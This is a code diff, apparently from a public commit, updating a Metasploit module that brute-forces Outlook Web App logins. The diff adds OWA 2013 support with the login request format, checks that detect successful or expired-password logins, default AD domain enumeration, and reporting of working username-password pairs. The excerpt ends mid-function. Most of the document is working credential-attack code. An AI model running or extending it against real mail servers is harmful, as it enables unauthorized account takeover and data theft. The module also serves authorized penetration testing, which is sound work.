@@ -11,12 +11,14 @@ class Metasploit3 < Msf::Auxiliary
11
11
include Msf ::Auxiliary ::Report
12
12
include Msf ::Auxiliary ::AuthBrute
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Auxiliary ::Scanner
15
+
14
16
15
17
def initialize
16
18
super (
17
19
'Name' => 'Outlook Web App (OWA) Brute Force Utility' ,
18
20
'Description' => %q{
19
- This module tests credentials on OWA 2003, 2007 and 2010 servers. The default
21
+ This module tests credentials on OWA 2003, 2007, 2010, 2013 servers. The default
20
22
action is set to OWA 2010.
21
23
} ,
22
24
'Author' =>
@@ -25,13 +27,15 @@ def initialize
25
27
'Spencer McIntyre' ,
26
28
'SecureState R&D Team' ,
27
29
'sinn3r' ,
28
- 'Brandon Knight'
30
+ 'Brandon Knight' ,
31
+ 'Pete (Bokojan) Arzamendi, #Outlook 2013 updates'
29
32
] ,
33
+
30
34
'License' => MSF_LICENSE ,
31
35
'Actions' =>
32
36
[
33
37
[
34
- 'OWA 2003 ' ,
38
+ 'OWA_2003 ' ,
35
39
{
36
40
'Description' => 'OWA version 2003' ,
37
41
'AuthPath' => '/exchweb/bin/auth/owaauth.dll' ,
@@ -40,7 +44,7 @@ def initialize
40
44
}
41
45
] ,
42
46
[
43
- 'OWA 2007 ' ,
47
+ 'OWA_2007 ' ,
44
48
{
45
49
'Description' => 'OWA version 2007' ,
46
50
'AuthPath' => '/owa/auth/owaauth.dll' ,
@@ -49,31 +53,45 @@ def initialize
49
53
}
50
54
] ,
51
55
[
52
- 'OWA 2010 ' ,
56
+ 'OWA_2010 ' ,
53
57
{
54
58
'Description' => 'OWA version 2010' ,
55
59
'AuthPath' => '/owa/auth.owa' ,
56
60
'InboxPath' => '/owa/' ,
57
61
'InboxCheck' => /Inbox|location(\x20 *)=(\x20 *)"\\ \/ (\w +)\\ \/ logoff\. owa|A mailbox couldn\' t be found|\< a .+onclick="return JumpTo\( 'logoff\. aspx.+\" >/
58
62
}
63
+ ] ,
64
+ [
65
+ 'OWA_2013' ,
66
+ {
67
+ 'Description' => 'OWA version 2013' ,
68
+ 'AuthPath' => '/owa/auth.owa' ,
69
+ 'InboxPath' => '/owa/' ,
70
+ 'InboxCheck' => /Inbox|logoff\. owa/
71
+ }
59
72
]
60
73
] ,
61
- 'DefaultAction' => 'OWA 2010'
74
+ 'DefaultAction' => 'OWA_2010' ,
75
+ 'DefaultOptions' => {
76
+ 'SSL' => true
77
+ }
62
78
)
63
79
80
+
64
81
register_options (
65
82
[
66
83
OptInt . new ( 'RPORT' , [ true , "The target port" , 443 ] ) ,
84
+ OptAddress . new ( 'RHOST' , [ true , "The target address" , true ] ) ,
85
+ OptBool . new ( 'ENUM_DOMAIN' , [ true , "Automatically enumerate AD domain using NTLM authentication" , true ] ) ,
67
86
] , self . class )
68
87
88
+
69
89
register_advanced_options (
70
90
[
71
- OptString . new ( 'AD_DOMAIN' , [ false , "Optional AD domain to prepend to usernames" , '' ] ) ,
72
- OptBool . new ( 'ENUM_DOMAIN' , [ true , "Automatically enumerate AD domain using NTLM authentication" , false ] ) ,
73
- OptBool . new ( 'SSL' , [ true , "Negotiate SSL for outgoing connections" , true ] )
91
+ OptString . new ( 'AD_DOMAIN' , [ false , "Optional AD domain to prepend to usernames" , '' ] )
74
92
] , self . class )
75
93
76
- deregister_options ( 'BLANK_PASSWORDS' )
94
+ deregister_options ( 'BLANK_PASSWORDS' , 'RHOSTS' , 'PASSWORD' , 'USERNAME' )
77
95
end
78
96
79
97
def cleanup
@@ -86,7 +104,7 @@ def run
86
104
# Store the original setting
87
105
@blank_passwords_setting = datastore [ 'BLANK_PASSWORDS' ]
88
106
89
- # OWA doesn't support blank passwords
107
+ # OWA doesn't support blank passwords or usernames!
90
108
datastore [ 'BLANK_PASSWORDS' ] = false
91
109
92
110
# If there's a pre-defined username/password, we need to turn off USER_AS_PASS
@@ -126,6 +144,7 @@ def run
126
144
127
145
begin
128
146
each_user_pass do |user , pass |
147
+ next if ( user . blank? or pass . blank? )
129
148
vprint_status ( "#{ msg } Trying #{ user } : #{ pass } " )
130
149
try_user_pass ( { "user" => user , "domain" => domain , "pass" => pass , "auth_path" => auth_path , "inbox_path" => inbox_path , "login_check" => login_check , "vhost" => vhost } )
131
150
end
@@ -143,16 +162,26 @@ def try_user_pass(opts)
143
162
vhost = opts [ "vhost" ]
144
163
domain = opts [ "domain" ]
145
164
165
+
166
+
146
167
user = domain + '\\' + user if domain
147
168
148
169
headers = {
149
170
'Cookie' => 'PBack=0'
150
171
}
151
172
152
173
if ( datastore [ 'SSL' ] . to_s . match ( /^(t|y|1)/i ) )
153
- data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
174
+ if action . name == "OWA_2013"
175
+ data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
176
+ else
177
+ data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
178
+ end
154
179
else
155
- data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
180
+ if action . name == "OWA_2013"
181
+ data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
182
+ else
183
+ data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
184
+ end
156
185
end
157
186
158
187
begin
@@ -174,16 +203,43 @@ def try_user_pass(opts)
174
203
return :abort
175
204
end
176
205
177
- if not res . headers [ 'set-cookie' ]
178
- print_error ( "#{ msg } Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting" )
179
- return :abort
206
+ if action . name != "OWA_2013" and not res . headers [ 'set-cookie' ]
207
+ print_error ( "#{ msg } Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting" )
208
+ return :abort
180
209
end
210
+ if action . name == "OWA_2013"
211
+ #Check for a response code to make sure login was valid. Changes from 2010 to 2013.
212
+ #Check if the password needs to be changed.
213
+ if res . headers [ 'location' ] =~ /expiredpassword/
214
+ print_good ( "#{ msg } SUCCESSFUL LOGIN. '#{ user } ' : '#{ pass } ': NOTE password change required" )
215
+ report_hash = {
216
+ :host => datastore [ 'RHOST' ] ,
217
+ :port => datastore [ 'RPORT' ] ,
218
+ :sname => 'owa' ,
219
+ :user => user ,
220
+ :pass => pass ,
221
+ :active => true ,
222
+ :type => 'password' }
223
+
224
+ report_auth_info ( report_hash )
225
+ return :next_user
226
+ end
181
227
182
- # these two lines are the authentication info
183
- sessionid = 'sessionid=' << res . headers [ 'set-cookie' ] . split ( 'sessionid=' ) [ 1 ] . split ( '; ' ) [ 0 ]
184
- cadata = 'cadata=' << res . headers [ 'set-cookie' ] . split ( 'cadata=' ) [ 1 ] . split ( '; ' ) [ 0 ]
185
-
186
- headers [ 'Cookie' ] = 'PBack=0; ' << sessionid << '; ' << cadata
228
+ #No password change required moving on.
229
+ reason = res . headers [ 'location' ] . split ( 'reason=' ) [ 1 ]
230
+ if reason == nil
231
+ headers [ 'Cookie' ] = 'PBack=0;' << res . get_cookies
232
+ else
233
+ #Login didn't work. no point on going on.
234
+ vprint_error ( "#{ msg } FAILED LOGIN. '#{ user } ' : '#{ pass } '" )
235
+ return :Skip_pass
236
+ end
237
+ else
238
+ # these two lines are the authentication info
239
+ sessionid = 'sessionid=' << res . headers [ 'set-cookie' ] . split ( 'sessionid=' ) [ 1 ] . split ( '; ' ) [ 0 ]
240
+ cadata = 'cadata=' << res . headers [ 'set-cookie' ] . split ( 'cadata=' ) [ 1 ] . split ( '; ' ) [ 0 ]
241
+ headers [ 'Cookie' ] = 'PBack=0; ' << sessionid << '; ' << cadata
242
+ end
187
243
188
244
begin
189
245
res = send_request_cgi ( {
0 commit comments